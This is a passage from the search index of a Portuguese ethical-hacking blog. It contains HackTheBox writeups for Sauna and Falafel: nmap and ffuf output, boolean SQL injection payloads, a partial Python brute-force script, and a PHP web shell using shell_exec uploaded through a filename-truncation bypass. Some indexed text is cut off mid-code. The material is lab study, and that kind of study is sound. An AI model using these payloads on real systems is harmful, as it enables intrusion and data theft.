robber.html#23-sqli","HTB/HTB-Windows-Insane-Bankrobber.html#24-notetxt","HTB/HTB-Windows-Insane-Bankrobber.html#25-sqli-into-rce","HTB/HTB-Windows-Insane-Bankrobber.html#251-visualização-do-ficheiro-backdoorcheckerphp","HTB/HTB-Windows-Insane-Bankrobber.html#3-privesc","HTB/HTB-Windows-Insane-APT.html#1-introdução","HTB/HTB-Windows-Insane-APT.html#2-enumeração","HTB/HTB-Windows-Insane-APT.html#21-nmap","HTB/HTB-Windows-Insane-APT.html#211-porta-80","HTB/HTB-Windows-Insane-APT.html#212-porta-135","HTB/HTB-Windows-Insane-APT.html#22-firewall","HTB/HTB-Windows-Insane-APT.html#221-ioxidresolver","HTB/HTB-Windows-Insane-APT.html#23-nmap","HTB/HTB-Windows-Insane-APT.html#24-smb","HTB/HTB-Windows-Insane-APT.html#25-gettgtpy","HTB/HTB-Windows-Insane-APT.html#26-regpy","HTB/HTB-Windows-Insane-APT.html#3-escalada-de-privilégios","HTB/HTB-Windows-Insane-APT.html#31-winpeas64exe","HTB/HTB-Windows-Insane-APT.html#311-bypass-4msi","HTB/HTB-Windows-Insane-APT.html#312-invoke-binary","HTB/HTB-Windows-Insane-APT.html#32-responder","HTB/HTB-Windows-Insane-APT.html#33-mscmdrunexe","HTB/HTB-Windows-Insane-APT.html#34-secretsdumppy","Linux.html#máquinas-hackthebox","Linux.html#secção-linux","HTB/HTB-Linux-Easy-Pandora.html#1-introdução","HTB/HTB-Linux-Easy-Pandora.html#2-enumeração","HTB/HTB-Linux-Easy-Pandora.html#21-nmap","HTB/HTB-Linux-Easy-Pandora.html#22-virtualhosting-e-webpage","HTB/HTB-Linux-Easy-Pandora.html#23-snmp","HTB/HTB-Linux-Easy-Pandora.html#3-getting-shell","HTB/HTB-Linux-Easy-Pandora.html#31-ssh","HTB/HTB-Linux-Easy-Pandora.html#32-enumeração-do-sistema","HTB/HTB-Linux-Easy-Pandora.html#33-virtualhost","HTB/HTB-Linux-Easy-Pandora.html#34-portforwarding","HTB/HTB-Linux-Easy-Pandora.html#35-cve-2021-32099","HTB/HTB-Linux-Easy-Pandora.html#36-rce-com-usuário--matt","HTB/HTB-Linux-Easy-Pandora.html#361-estabilizar-o-reverse-shell","HTB/HTB-Linux-Easy-Pandora.html#4-escalada-de-privilégio","HTB/HTB-Linux-Easy-Pandora.html#41-path-hijacking","HTB/HTB-Linux-Easy-Pandora.html#411-não-funcionou-porquê","HTB/HTB-Linux-Easy-Precious.html#1-introduction","HTB/HTB-Linux-Easy-Precious.html#2-enumeration","HTB/HTB-Linux-Easy-Precious.html#3-exploit---remote-code-execution","HTB/HTB-Linux-Easy-Precious.html#4-foothold","HTB/HTB-Linux-Easy-Precious.html#5-privilege-escalation","HTB/HTB-Linux-Easy-Precious.html#6-conclusion","HTB/HTB-Linux-Hard-Falafel.html#1-enumeração","HTB/HTB-Linux-Hard-Falafel.html#11-nmap","HTB/HTB-Linux-Hard-Falafel.html#2-website","HTB/HTB-Linux-Hard-Falafel.html#21-fuzzing-the-website","HTB/HTB-Linux-Hard-Falafel.html#22-sqli","HTB/HTB-Linux-Hard-Falafel.html#23-rce","HTB/HTB-Linux-Hard-Falafel.html#231-reverse-shell","HTB/HTB-Linux-Hard-Falafel.html#3-privesc","HTB/HTB-Linux-Hard-Falafel.html#31-group-video","HTB/HTB-Linux-Hard-Falafel.html#32-group-disk","HTB/HTB-Linux-Hard-Falafel.html#33-debugfs","CiberSeguranca.html#trabalhos-do-curso-de-cibersegurança","CursoCiberSeguranca/Trabalho2/Trabalho2.html#1-instalação-do-openssh-do-cliente","CursoCiberSeguranca/Trabalho2/Trabalho2.html#2-instalação-do-openssh-do-lado-do-servidor","CursoCiberSeguranca/Trabalho2/Trabalho2.html#3-ligação-entre-o-cliente-e-o-servidor","CursoCiberSeguranca/Trabalho2/Trabalho2.html#6-acesso-ao-servidor-através-do-utilizador-criado","CursoCiberSeguranca/Trabalho2/Trabalho2.html#7-acesso-de-utilizadores-guest-por-parte-dos-camaradas-de-curso","CursoCiberSeguranca/Trabalho2/Trabalho2.html#8-mudar-o-porto-lógico-de-acesso-do-servidor","CursoCiberSeguranca/Trabalho2/Trabalho2.html#9-verificação-do-acesso-ao-servidor-ssh","CursoCiberSeguranca/Trabalho2/Trabalho2.html#10-conclusão","CursoCiberSeguranca/Trabalho3/Trabalho3.html#01-não-permitir-autenticação-com-utilizador-root","CursoCiberSeguranca/Trabalho3/Trabalho3.html#02-desativar-acesso-sem-password","CursoCiberSeguranca/Trabalho3/Trabalho3.html#03-criar-um-banner-com-msg-bem-vindo-ao-ssh-de-ars-cuidado","CursoCiberSeguranca/Trabalho3/Trabalho3.html#04-mudar-porto-lógico-para-5555","CursoCiberSeguranca/Trabalho3/Trabalho3.html#05-mudar-número-de-tentativas-de-ligação-para-2","CursoCiberSeguranca/Trabalho3/Trabalho3.html#06-mudar-tempo-de-espera-para-autenticação-para-5-segundos","CursoCiberSeguranca/Trabalho3/Trabalho3.html#07-permitir-apenas-a-autenticação-de-2-utilizadores-criados-no-sistema","CursoCiberSeguranca/Trabalho3/Trabalho3.html#08-permitir-apenas-a-autenticação-de-2-endereços-ip","CursoCiberSeguranca/Trabalho3/Trabalho3.html#1-outras-configurações-que-podem-ser-feitas","CursoCiberSeguranca/Trabalho3/Trabalho3.html#11-desativar-o-acesso-por-password","CursoCiberSeguranca/Trabalho3/Trabalho3.html#12-ficheiro-de-logs","CursoCiberSeguranca/Trabalho3/Trabalho3.html#13-impedir-portforwarding","CursoCiberSeguranca/Trabalho3/Trabalho3.html#2-resumo","CursoCiberSeguranca/Trabalho3/Trabalho3.html#21-fontes","CursoCiberSeguranca/Trabalho5/Trabalho5.html#1-criação-dos-sites","CursoCiberSeguranca/Trabalho5/Trabalho5.html#2-configuração-do-nginx","CursoCiberSeguranca/Trabalho5/Trabalho5.html#3-configurações-do-firewall-e-do-selinux-policy-management-tool","CursoCiberSeguranca/Trabalho5/Trabalho5.html#4-ficheiros-de-log","CursoCiberSeguranca/Trabalho5/Trabalho5.html#5-testar-a-configuração","CursoCiberSeguranca/Trabalho5/Trabalho5.html#6-configuração-do-nome-de-domínio","CursoCiberSeguranca/Trabalho5/Trabalho5.html#7-verificação-do-funcionamento","CursoCiberSeguranca/Trabalho5/Trabalho5.html#8-documentação-e-ajudas","CursoCiberSeguranca/SELinux/TrabalhoSELinux.html#1-introdução","CursoCiberSeguranca/SELinux/TrabalhoSELinux.html#11-o-que-é-o-selinux","CursoCiberSeguranca/SELinux/TrabalhoSELinux.html#12-dac-discretionary-access-control-vs-mac-mandatory-access-control","CursoCiberSeguranca/SELinux/TrabalhoSELinux.html#2-instalação","CursoCiberSeguranca/SELinux/TrabalhoSELinux.html#3-configuração","CursoCiberSeguranca/SELinux/TrabalhoSELinux.html#31-semanage","CursoCiberSeguranca/SELinux/TrabalhoSELinux.html#4-troubleshooting","CursoCiberSeguranca/SELinux/TrabalhoSELinux.html#5-referências","CursoCiberSeguranca/Trabalho9SSL/Trabalho9SSL.html#1-o-que-é-ssl-ou-tls","CursoCiberSeguranca/Trabalho9SSL/Trabalho9SSL.html#2-criar-um-site-de-login-simples-sem-tls","CursoCiberSeguranca/Trabalho9SSL/Trabalho9SSL.html#21-configura-o-nginx","CursoCiberSeguranca/Trabalho9SSL/Trabalho9SSL.html#22-verificar-as-comunicações-com-a-ferramenta-wireshark-http","CursoCiberSeguranca/Trabalho9SSL/Trabalho9SSL.html#3-adicionar-o-protocolo-de-segurança-tls-ao-servidor","CursoCiberSeguranca/Trabalho9SSL/Trabalho9SSL.html#31-verificar-as-comunicações-com-a-ferramenta-wireshark-https","CursoCiberSeguranca/Trabalho9SSL/Trabalho9SSL.html#4-conclusão","CursoCiberSeguranca/Trabalho9SSL/Trabalho9SSL.html#5-referências","CursoCiberSeguranca/Anonimato/04_trabalho.html#1-introdução","CursoCiberSeguranca/Anonimato/04_trabalho.html#2-anonimato-na-internet","CursoCiberSeguranca/Anonimato/04_trabalho.html#21-rede-tor","CursoCiberSeguranca/Anonimato/04_trabalho.html#211-tor-browser","CursoCiberSeguranca/Anonimato/04_trabalho.html#212-como-funciona-o-tor","CursoCiberSeguranca/Anonimato/04_trabalho.html#213-o-navegador-tor","CursoCiberSeguranca/Anonimato/04_trabalho.html#214-a-rede-tor-é-segura","CursoCiberSeguranca/Anonimato/04_trabalho.html#215-É-possível-ser-identificado-através-da-rede-tor","CursoCiberSeguranca/Anonimato/04_trabalho.html#216-então-porquê-mesmo-assim-podemos-não-estar-totalmente-ocultos","CursoCiberSeguranca/Anonimato/04_trabalho.html#217-como-tentar-ficar-anónimo-pela-internet","CursoCiberSeguranca/Anonimato/04_trabalho.html#22-privoxy","CursoCiberSeguranca/Anonimato/04_trabalho.html#23-sistema-operacional-tails","CursoCiberSeguranca/Anonimato/04_trabalho.html#24-antenas-wifi-direcionais-de-longo-alcance","CursoCiberSeguranca/Anonimato/04_trabalho.html#3-problemas-encontrados-na-busca-do-anonimato","CursoCiberSeguranca/Anonimato/04_trabalho.html#31-rede-tor-pode-ser-controlada","CursoCiberSeguranca/Anonimato/04_trabalho.html#4-conclusão","CursoCiberSeguranca/Anonimato/04_trabalho.html#5-bibliografia"],"index":{"documentStore":{"docInfo":{"0":{"body":82,"breadcrumbs":4,"title":3},"1":{"body":88,"breadcrumbs":4,"title":2},"10":{"body":427,"breadcrumbs":8,"title":2},"100":{"body":430,"breadcrumbs":9,"title":3},"101":{"body":672,"breadcrumbs":8,"title":2},"102":{"body":458,"breadcrumbs":8,"title":2},"103":{"body":100,"breadcrumbs":9,"title":3},"104":{"body":61,"breadcrumbs":8,"title":2},"105":{"body":262,"breadcrumbs":9,"title":3},"106":{"body":156,"breadcrumbs":9,"title":3},"107":{"body":89,"breadcrumbs":8,"title":2},"108":{"body":32,"breadcrumbs":9,"title":4},"109":{"body":120,"breadcrumbs":12,"title":4},"11":{"body":194,"breadcrumbs":9,"title":3},"110":{"body":72,"breadcrumbs":13,"title":5},"111":{"body":413,"breadcrumbs":16,"title":8},"112":{"body":49,"breadcrumbs":15,"title":7},"113":{"body":8,"breadcrumbs":19,"title":11},"114":{"body":398,"breadcrumbs":16,"title":8},"115":{"body":46,"breadcrumbs":14,"title":6},"116":{"body":79,"breadcrumbs":10,"title":2},"117":{"body":328,"breadcrumbs":18,"title":7},"118":{"body":32,"breadcrumbs":16,"title":5},"119":{"body":64,"breadcrumbs":24,"title":13},"12":{"body":162,"breadcrumbs":10,"title":4},"120":{"body":140,"breadcrumbs":17,"title":6},"121":{"body":48,"breadcrumbs":20,"title":9},"122":{"body":36,"breadcrumbs":21,"title":10},"123":{"body":66,"breadcrumbs":20,"title":9},"124":{"body":205,"breadcrumbs":19,"title":8},"125":{"body":0,"breadcrumbs":18,"title":7},"126":{"body":303,"breadcrumbs":17,"title":6},"127":{"body":256,"breadcrumbs":15,"title":4},"128":{"body":245,"breadcrumbs":14,"title":3},"129":{"body":8,"breadcrumbs":13,"title":2},"13":{"body":246,"breadcrumbs":8,"title":2},"130":{"body":18,"breadcrumbs":13,"title":2},"131":{"body":351,"breadcrumbs":15,"title":4},"132":{"body":134,"breadcrumbs":14,"title":3},"133":{"body":59,"breadcrumbs":19,"title":8},"134":{"body":53,"breadcrumbs":15,"title":4},"135":{"body":36,"breadcrumbs":14,"title":3},"136":{"body":36,"breadcrumbs":16,"title":5},"137":{"body":58,"breadcrumbs":14,"title":3},"138":{"body":18,"breadcrumbs":15,"title":4},"139":{"body":34,"breadcrumbs":8,"title":2},"14":{"body":35,"breadcrumbs":8,"title":2},"140":{"body":88,"breadcrumbs":11,"title":5},"141":{"body":142,"breadcrumbs":16,"title":10},"142":{"body":94,"breadcrumbs":8,"title":2},"143":{"body":150,"breadcrumbs":8,"title":2},"144":{"body":425,"breadcrumbs":8,"title":2},"145":{"body":91,"breadcrumbs":8,"title":2},"146":{"body":10,"breadcrumbs":8,"title":2},"147":{"body":480,"breadcrumbs":15,"title":6},"148":{"body":147,"breadcrumbs":18,"title":9},"149":{"body":236,"breadcrumbs":13,"title":4},"15":{"body":453,"breadcrumbs":11,"title":5},"150":{"body":185,"breadcrumbs":16,"title":7},"151":{"body":478,"breadcrumbs":18,"title":9},"152":{"body":50,"breadcrumbs":16,"title":7},"153":{"body":48,"breadcrumbs":11,"title":2},"154":{"body":20,"breadcrumbs":11,"title":2},"155":{"body":299,"breadcrumbs":10,"title":2},"156":{"body":71,"breadcrumbs":12,"title":4},"157":{"body":59,"breadcrumbs":11,"title":3},"158":{"body":159,"breadcrumbs":11,"title":3},"159":{"body":133,"breadcrumbs":13,"title":5},"16":{"body":262,"breadcrumbs":8,"title":2},"160":{"body":137,"breadcrumbs":12,"title":4},"161":{"body":79,"breadcrumbs":12,"title":4},"162":{"body":357,"breadcrumbs":16,"title":8},"163":{"body":191,"breadcrumbs":18,"title":10},"164":{"body":62,"breadcrumbs":15,"title":7},"165":{"body":211,"breadcrumbs":10,"title":2},"166":{"body":146,"breadcrumbs":12,"title":4},"167":{"body":139,"breadcrumbs":15,"title":7},"168":{"body":66,"breadcrumbs":14,"title":6},"169":{"body":153,"breadcrumbs":14,"title":6},"17":{"body":167,"breadcrumbs":10,"title":4},"170":{"body":183,"breadcrumbs":10,"title":2},"171":{"body":7,"breadcrumbs":10,"title":2},"18":{"body":587,"breadcrumbs":8,"title":2},"19":{"body":34,"breadcrumbs":9,"title":3},"2":{"body":0,"breadcrumbs":4,"title":2},"20":{"body":492,"breadcrumbs":9,"title":3},"21":{"body":233,"breadcrumbs":8,"title":2},"22":{"body":58,"breadcrumbs":9,"title":3},"23":{"body":131,"breadcrumbs":10,"title":4},"24":{"body":66,"breadcrumbs":8,"title":2},"25":{"body":33,"breadcrumbs":8,"title":2},"26":{"body":312,"breadcrumbs":8,"title":2},"27":{"body":99,"breadcrumbs":8,"title":2},"28":{"body":99,"breadcrumbs":8,"title":2},"29":{"body":167,"breadcrumbs":8,"title":2},"3":{"body":25,"breadcrumbs":8,"title":2},"30":{"body":0,"breadcrumbs":8,"title":2},"31":{"body":427,"breadcrumbs":8,"title":2},"32":{"body":154,"breadcrumbs":8,"title":2},"33":{"body":240,"breadcrumbs":9,"title":3},"34":{"body":136,"breadcrumbs":9,"title":3},"35":{"body":233,"breadcrumbs":8,"title":2},"36":{"body":98,"breadcrumbs":8,"title":2},"37":{"body":32,"breadcrumbs":8,"title":2},"38":{"body":379,"breadcrumbs":8,"title":2},"39":{"body":298,"breadcrumbs":9,"title":3},"4":{"body":151,"breadcrumbs":8,"title":2},"40":{"body":194,"breadcrumbs":10,"title":4},"41":{"body":142,"breadcrumbs":8,"title":2},"42":{"body":72,"breadcrumbs":10,"title":4},"43":{"body":125,"breadcrumbs":8,"title":2},"44":{"body":343,"breadcrumbs":8,"title":2},"45":{"body":480,"breadcrumbs":12,"title":6},"46":{"body":89,"breadcrumbs":8,"title":2},"47":{"body":0,"breadcrumbs":8,"title":2},"48":{"body":127,"breadcrumbs":8,"title":2},"49":{"body":502,"breadcrumbs":8,"title":2},"5":{"body":239,"breadcrumbs":8,"title":2},"50":{"body":303,"breadcrumbs":8,"title":2},"51":{"body":26,"breadcrumbs":8,"title":2},"52":{"body":217,"breadcrumbs":9,"title":3},"53":{"body":138,"breadcrumbs":10,"title":4},"54":{"body":412,"breadcrumbs":8,"title":2},"55":{"body":274,"breadcrumbs":8,"title":2},"56":{"body":0,"breadcrumbs":8,"title":2},"57":{"body":35,"breadcrumbs":8,"title":2},"58":{"body":61,"breadcrumbs":9,"title":3},"59":{"body":81,"breadcrumbs":9,"title":3},"6":{"body":0,"breadcrumbs":10,"title":4},"60":{"body":156,"breadcrumbs":8,"title":2},"61":{"body":52,"breadcrumbs":8,"title":2},"62":{"body":307,"breadcrumbs":8,"title":2},"63":{"body":495,"breadcrumbs":8,"title":2},"64":{"body":221,"breadcrumbs":8,"title":2},"65":{"body":215,"breadcrumbs":8,"title":2},"66":{"body":58,"breadcrumbs":10,"title":4},"67":{"body":66,"breadcrumbs":8,"title":2},"68":{"body":212,"breadcrumbs":9,"title":3},"69":{"body":194,"breadcrumbs":9,"title":3},"7":{"body":324,"breadcrumbs":9,"title":3},"70":{"body":103,"breadcrumbs":8,"title":2},"71":{"body":312,"breadcrumbs":8,"title":2},"72":{"body":61,"breadcrumbs":8,"title":2},"73":{"body":88,"breadcrumbs":4,"title":2},"74":{"body":0,"breadcrumbs":4,"title":2},"75":{"body":110,"breadcrumbs":8,"title":2},"76":{"body":0,"breadcrumbs":8,"title":2},"77":{"body":93,"breadcrumbs":8,"title":2},"78":{"body":442,"breadcrumbs":10,"title":4},"79":{"body":163,"breadcrumbs":8,"title":2},"8":{"body":156,"breadcrumbs":9,"title":3},"80":{"body":0,"breadcrumbs":9,"title":3},"81":{"body":24,"breadcrumbs":8,"title":2},"82":{"body":55,"breadcrumbs":9,"title":3},"83":{"body":308,"breadcrumbs":8,"title":2},"84":{"body":222,"breadcrumbs":8,"title":2},"85":{"body":76,"breadcrumbs":10,"title":4},"86":{"body":111,"breadcrumbs":11,"title":5},"87":{"body":29,"breadcrumbs":11,"title":5},"88":{"body":71,"breadcrumbs":10,"title":4},"89":{"body":177,"breadcrumbs":9,"title":3},"9":{"body":74,"breadcrumbs":8,"title":2},"90":{"body":108,"breadcrumbs":10,"title":4},"91":{"body":112,"breadcrumbs":8,"title":2},"92":{"body":315,"breadcrumbs":8,"title":2},"93":{"body":180,"breadcrumbs":11,"title":5},"94":{"body":32,"breadcrumbs":8,"title":2},"95":{"body":161,"breadcrumbs":9,"title":3},"96":{"body":30,"breadcrumbs":8,"title":2},"97":{"body":37,"breadcrumbs":8,"title":2},"98":{"body":94,"breadcrumbs":8,"title":2},"99":{"body":47,"breadcrumbs":8,"title":2}},"docs":{"0":{"body":"Bem-vindos ao meu blog sobre Hacking Ético! Este site foi criado como um projeto pessoal, para ajudar a orientar as minhas ideias enquanto procuro aprender mais sobre este tema. Aqui, irei partilhar alguns writeups de máquinas do HackTheBox e outros conteúdos relacionados. Na barra lateral esquerda, poderão encontrar os links para os diferentes writeups que foram publicados ao longo do tempo. Espero que este blog possa ser útil para quem está a estudar cibersegurança e hacking ético , e que possamos aprender juntos. Image by Pete Linforth from Pixabay","breadcrumbs":"Introdução » Sylvain \"JavaliMZ\" Júlio","id":"0","title":"Sylvain \"JavaliMZ\" Júlio"},"1":{"body":"Bem-vindos ao meu blog sobre hacking ético, pentesting e conhecimentos informáticos em geral! Aqui, irão encontrar relatórios das máquinas que resolvi, partilhados em português. Acredito que é difícil encontrar conteúdo em português sobre resolução de máquinas, por isso decidi criar este espaço. Além de partilhar convosco, isto também reforça a minha aprendizagem e organiza as minhas ideias. Recomendo este blog a qualquer pessoa que esteja a estudar para cibersegurança ou para certificações como OSCP/CEH. Os relatórios não são muito elaborados, mas têm bastante conteúdo. E, para deixar claro, nunca utilizarei o Metasploit!","breadcrumbs":"Máquinas Windows » Máquinas HackTheBox","id":"1","title":"Máquinas HackTheBox"},"10":{"body":"Enumeração nmap allPorts nmap -sC -sV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49675,49676,49677,49700,49720 10.10.10.175 -vvv -oN enumeration/nmap-A.txt -Pn # Nmap 7.91 scan initiated Wed Sep 15 21:03:01 2021 as: nmap -sC -sV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49675,49676,49677,49700,49720 -vvv -oN enumeration/nmap-A.txt -Pn 10.10.10.175\nNmap scan report for 10.10.10.175\nHost is up, received user-set (0.041s latency).\nScanned at 2021-09-15 21:03:02 WEST for 96s PORT STATE SERVICE REASON VERSION\n53/tcp open domain syn-ack Simple DNS Plus\n80/tcp open http syn-ack Microsoft IIS httpd 10.0\n| http-methods:\n| Supported Methods: OPTIONS TRACE GET HEAD POST\n|_ Potentially risky methods: TRACE\n|_http-server-header: Microsoft-IIS/10.0\n|_http-title: Egotistical Bank :: Home\n88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2021-09-16 03:03:10Z)\n135/tcp open msrpc syn-ack Microsoft Windows RPC\n139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn\n389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)\n445/tcp open microsoft-ds? syn-ack\n464/tcp open kpasswd5? syn-ack\n593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0\n636/tcp open tcpwrapped syn-ack\n3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)\n3269/tcp open tcpwrapped syn-ack\n5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)\n|_http-server-header: Microsoft-HTTPAPI/2.0\n|_http-title: Not Found\n9389/tcp open mc-nmf syn-ack .NET Message Framing\n49667/tcp open msrpc syn-ack Microsoft Windows RPC\n49675/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0\n49676/tcp open msrpc syn-ack Microsoft Windows RPC\n49677/tcp open msrpc syn-ack Microsoft Windows RPC\n49700/tcp open msrpc syn-ack Microsoft Windows RPC\n49720/tcp open msrpc syn-ack Microsoft Windows RPC\nService Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results:\n|_clock-skew: 7h00m01s\n| p2p-conficker:\n| Checking for Conficker.C or higher...\n| Check 1 (port 35558/tcp): CLEAN (Timeout)\n| Check 2 (port 54801/tcp): CLEAN (Timeout)\n| Check 3 (port 18966/udp): CLEAN (Timeout)\n| Check 4 (port 57297/udp): CLEAN (Timeout)\n|_ 0/4 checks are positive: Host is CLEAN or ports are blocked\n| smb2-security-mode:\n| 2.02:\n|_ Message signing enabled and required\n| smb2-time:\n| date: 2021-09-16T03:04:00\n|_ start_date: N/A Read data files from: /usr/bin/../share/nmap\nService detection performed. Please report any incorrect results at https://nmap.org/submit/ .\n# Nmap done at Wed Sep 15 21:04:38 2021 -- 1 IP address (1 host up) scanned in 97.34 seconds Pela quantidade de portas, sabemos que não estamos perante um \"tamagotchi\"... Isso aparenta ser um Active directory ou um Domain Controller... Tem kerberos, samba, RPC, HTTP... Neste ponto, há já diversas coisas que quero tentar... primeiro o servidor http claro, ver se podemos entrar no servidor samba, Tentar loggar por RPC, e tentar um AS-REP Roasting attack, Mas vamos com calma!","breadcrumbs":"Máquinas Windows » HTB-Windows-Easy-Sauna » 1.1. Nmap","id":"10","title":"1.1. Nmap"},"100":{"body":"Antes de falar da página do Login (que é por aí que se vai penetrar a máquina!), irei falar sobre as rotas e potenciais ficheiros da máquina. # Primeira enumeração básica de rotas\nffuf -c -u http://10.10.10.73/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 200 -r #> assets [Status: 403, Size: 293, Words: 22, Lines: 12]\n#> css [Status: 403, Size: 290, Words: 22, Lines: 12]\n#> js [Status: 403, Size: 289, Words: 22, Lines: 12]\n#> uploads [Status: 403, Size: 294, Words: 22, Lines: 12]\n#> images [Status: 403, Size: 293, Words: 22, Lines: 12] #> [Status: 200, Size: 7203, Words: 774, Lines: 110]\n#> server-status [Status: 403, Size: 299, Words: 22, Lines: 12] Vemos um diretório upload . Mas por enquanto nada de mais... Temos de procurar mais... O segundo scan que quero rodar é por ficheiros. Sabemos que é um servidor apache com auxilio do nmap, por isso podemos supor que o servidor funcione com ficheiros php. Além disso, o botão de login nós redirige para um login.php. Posto isso, o nosso próximo scan vai ser para procurar ficheiros com extenções php. Podemos também procurar por ficheiros txt... ffuf -c -u http://10.10.10.73/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 200 -r -e .txt,.php #> profile.php [Status: 200, Size: 7063, Words: 878, Lines: 103]\n#> uploads [Status: 403, Size: 294, Words: 22, Lines: 12]\n#> header.php [Status: 200, Size: 288, Words: 10, Lines: 18]\n#> footer.php [Status: 200, Size: 0, Words: 1, Lines: 1]\n#> upload.php [Status: 200, Size: 7063, Words: 878, Lines: 103]\n#> css [Status: 403, Size: 290, Words: 22, Lines: 12]\n#> style.php [Status: 200, Size: 6174, Words: 690, Lines: 69]\n#> index.php [Status: 200, Size: 7203, Words: 774, Lines: 110]\n#> js [Status: 403, Size: 289, Words: 22, Lines: 12]\n#> login.php [Status: 200, Size: 7063, Words: 878, Lines: 103]\n#> logout.php [Status: 200, Size: 7063, Words: 878, Lines: 103]\n#> robots.txt [Status: 200, Size: 30, Words: 3, Lines: 2]\n#> assets [Status: 403, Size: 293, Words: 22, Lines: 12]\n#> images [Status: 403, Size: 293, Words: 22, Lines: 12]\n#> cyberlaw.txt [Status: 200, Size: 804, Words: 106, Lines: 18]\n#> connection.php [Status: 200, Size: 0, Words: 1, Lines: 1]\n#> .php [Status: 403, Size: 290, Words: 22, Lines: 12]\n#> [Status: 200, Size: 7203, Words: 774, Lines: 110]\n#> server-status [Status: 403, Size: 299, Words: 22, Lines: 12] O que é isso de cyberlaw.txt?! cyberlaw.txt Bem, isto nos trás algumas informações... Potencial users: devs (de devs@falafel.htb) lawyers (de lawyers@falafel.htb) chris (do próprio texto) admin (da \"assinatura\") Ainda nos diz que o usuário chris conseguiu ter FULL CONTROL do site usando um recurso de uploads de imagens, que ainda não descobrimos. Sabemos ainda que o url de upload de imagens está filtrado, por isso não deve ser assim tão fácil... Prossigamos","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 2.1. Fuzzing the website","id":"100","title":"2.1. Fuzzing the website"},"101":{"body":"Quando abrimos a página http://falafel.htb/ de um browser, vemos então um botão login. Ao por credenciais por defeito do tipo admin:admin, admin:password, test:test... , verificamos que poderá existir um usuário admin, pois temo uma mensagem de erro que diz \"Wrong identification : admin\" . Outros usuários aleatórios nos dá a mensagem \"Try again..\" . Agora, e com a tal mensagem de cyberlaw.txt, podemos assumir que o usuário \"admin\" existe. admin login try Nos servidores em php, é muito commum controlarem o login e outras coisas com uma base de dados MySQL ou similar. Podemos tentar fazer o login com o clássico \"' or 1=1 -- -\" tanto no campo user como no campo password. Obtemos o mesmo erro \"Wrong identification : admin\" . Isto é um claro sinal que este campo é vulnerável a SQLi (SQL injection). Temos mensagens distintas, mas não temos o erro SQL concreto! Por isso não é bem um blind SQLi, mas também não é assim tão claro. Ao tentar por \"admin' and sleep(5)\" , temos um erro diferente: \"Hacking Attempt Detected!\" . UHUUU O FBI NOS DETECTOU LOOOL...Bem, isto parece um tipo de filtro a palavar chaves, porque ao escrever apenas e só a palavra \"sleep\" ou \"union\" , optemos o mesmo erro... Como não vemos nada, mas sabemos como são de uma maneira geral feitas as bases de dados, podemos tentar descobrir o nome da coluna. Ao escrever admin' and substring(username,1,1)='a'-- - , estamos a dizer que, para o usuário admin , queremos saber se na coluna de nome username , a letra positionada na 1ª posição é igual a 'a' . E isso já nós sabemos. admin começa pela letra 'a' . admin' and substring(username,1,1)='a'-- - Obtemos a mesma mensagem de erro (Wrong identification : admin), e se pusermos qualquer outra letra, obtemos outro erro (Try again..) por a primeira letra não corresponder. Isso é muito bom sinal... admin' and substring(username,2,1)='d'-- - Ao testar para o segundo caractere, obtemos o mesmo resultado, apenas optemos (Wrong identification : admin) quando acertamos na letra 'd' . Mas porquê \"Wrong identification : admin\"? A query no código php deve estar a fazer uma comparação, entre admin e admin, e nós adicionamos 'and substring(username,1,1)='a'. Só passa para a verificação seguinte se o \"admin\" existir, e se \"a sua primeira letra for 'a'\". Depois de validar o campo user, fica barrado pela password, pois não a temos... Então, quando acerto na substring, vai me responder \"Wrong identification\". Posto isso, podemos enumerar todos os campos de todas as tabelas da base de dados desta forma. O único problema é que não temos ideia do nome dessas tabelas nem das suas colunas... Mas também não persisamos saber tudo! Basta-nos a password! Seguindo o mesmo princípio, podemos tentar com o nome de coluna password (por ser comum e normal de ser chamdo assim): admin' and substring(password,1,1)='0...1...2...3...até...ao...z'-- - . Manualmente, iria ser possível, mas apenas com 3 litros de café e pausas de 2 em 2 horas! Vamos automatizar isso em python: import requests\nimport re\nfrom pwn import log def sendRequest(code): url = \"http://falafel.htb/login.php\" header = {\"Cookie\": \"PHPSESSID=0tpuo9bnh5jo18ibamo44q3ej0\"} data = {\"username\": code, \"password\": \"password\"} res = requests.post(url, headers=header, data=data).text res = res.replace(\"\\n\", \" \").replace(\"\\t\", \" \") regexPattern = r\"\" . shell_exec($_REQUEST['cmd']) . \"\";\n?> Resumindo: O ficheiro tem obrigatoriamente que terminar por \".png\" O servidor apache interpreta código php O wget da página de upload corta os nomes muito grandes a partir do caractere 236. Posto isso, se renomearmos o nosso ficheiro malicioso por um arquivo com (232 carateres + .php + .png), o nome do arquivo irá ser cortado a partir do 236º caracter e ficará assim: (232 chars + .php) cp shell.php $(msf-pattern_create -l 232).php.png\n# Agora que temos o número exato de caracteres, poderíamos ter chamado o ficheiro com 232 \"A\"... mas na altura não me lembrei e o nome está um pouco agressivo para os olhos! Resultado: http://10.10.14.17/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php.png uploaded web shell Note the path of the file and go to the webshell Ok, 